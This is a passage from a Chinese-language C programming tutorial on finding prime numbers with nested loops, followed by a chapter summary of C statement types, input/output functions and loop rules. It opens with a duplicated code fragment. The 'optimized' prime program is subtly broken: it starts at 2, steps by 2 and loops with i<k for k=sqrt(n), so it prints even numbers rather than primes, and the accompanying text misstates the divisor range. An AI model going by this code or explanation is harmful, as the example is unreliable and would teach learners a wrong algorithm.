      if(i>=n) printf("\t%d",n);
      }
      } int n,i;
      for(n=2;n<=100;n++){
      for(i=2;i<n;i++)
      if(n%i==0) break;
      if(i>=n) printf("\t%d",n);
      }
      本例程序中,第一层循环表示对1~100这100个数逐个判断是否是素数,共循环100次,在第二层循环中则对数n用2~n-1逐个去除,若某次除尽则跳出该层循环,说明不是素数。 如果在所有的数都是未除尽的情况下结束循环,则为素数,此时有i>=n, 故可经此判断后输出素数。然后转入下一次大循环。实际上,2以上的所有偶数均不是素数,因此可以使循环变量的步长值改为2,即每次增加2,此外只需对数n用2~n去除就可判断该数是否素数。这样将大大减少循环次数,减少程序运行时间。
      #include"math.h"
      void main(){
      int n,i,k;
      for(n=2;n<=100;n+=2){
      k=sqrt(n);
      for(i=2;i<k;i++)
      if(n%i==0) break;
      if(i>=k) printf("\t%2d",n);
      }
      }

      小结

      1.从程序执行的流程来看, 程序可分为三种最基本的结构: 顺序结构,分支结构以及循环结构

      2.程序中执行部分最基本的单位是语句。C语言的语句可分为五类:
      (1)表达式语句  任何表达式末尾加上分号即可构成表达式语句, 常用的表达式语句为赋值语句。
      (2)函数调用语句  由函数调用加上分号即组成函数调用语句。
      (3)控制语句  用于控制程序流程,由专门的语句定义符及所需的表达式组成。主要有条件判断执行语句,循环执行语句,转向语句等。
      (4)复合语句  由{}把多个语句括起来组成一个语句。 复合语句被认为是单条语句,它可出现在所有允许出现语句的地方,如循环体等。
      (5)空语句  仅由分号组成,无实际功能。

      3.C语言中没有提供专门的输入输出语句, 所有的输入输出都是由调用标准库函数中的输入输出函数来实现的。
      scanf和getchar函数是输入函数,接收来自键盘的输入数据。
      scanf是格式输入函数, 可按指定的格式输入任意类型数据。
      getchar函数是字符输入函数, 只能接收单个字符。
      printf和putchar函数是输出函数,向显示器屏幕输出数据。
      printf是格式输出函数,可按指定的格式显示任意类型的数据。
      putchar是字符显示函数,只能显示单个字符。

      4.关系表达式和逻辑表达式是两种重要的表达式, 主要用于条件执行的判断和循环执行的判断。

      5.C语言提供了多种形式的条件语句以构成分支结构。
      (1)if语句主要用于单向选择。
      (2)if-else语句主要用于双向选择。
      (3)if-else-if语和switch语句用于多向选择。
      这几种形式的条件语句一般来说是可以互相替代的。

      6.C语言提供了三种循环语句。
      (1)for语句主要用于给定循环变量初值, 步长增量以及循环次数的循环结构。
      (2)循环次数及控制条件要在循环过程中才能确定的循环可用 while或do-while语句。
      (3)三种循环语句可以相互嵌套组成多重循环。循环之间可以并列但不能交叉。
      (4)可用转移语句把流程转出循环体外,但不能从外面转向循环体内。
      (5)在循环程序中应避免出现死循环,即应保证循环变量的值在运行过程中可以得到修改,并使循环条件逐步变为假,从而结束循环。

      7.C语言语句小结
      名 称         一 般 形 式
      简单语句       表达式语句表达式;
      空语句;
      复合语句        { 语句 }
      条件语句       if(表达式)语句;
                 if(表达式)语句1; else语句2;
                 if(表达式1)语句1; else if(表达式2) 语句2…else语句 n;
      开关语句        switch(表达式){ case常量表达式: 语句…default: 语句; }
      循环语句       while语句
                 while(表达式)语句;
                 for语句 for(表达式1; 表达式2; 表达式3)语句;
                 break语句 break;
                 goto语句 goto;
                 continue语句 continue;
                 return 语句 return(表达式);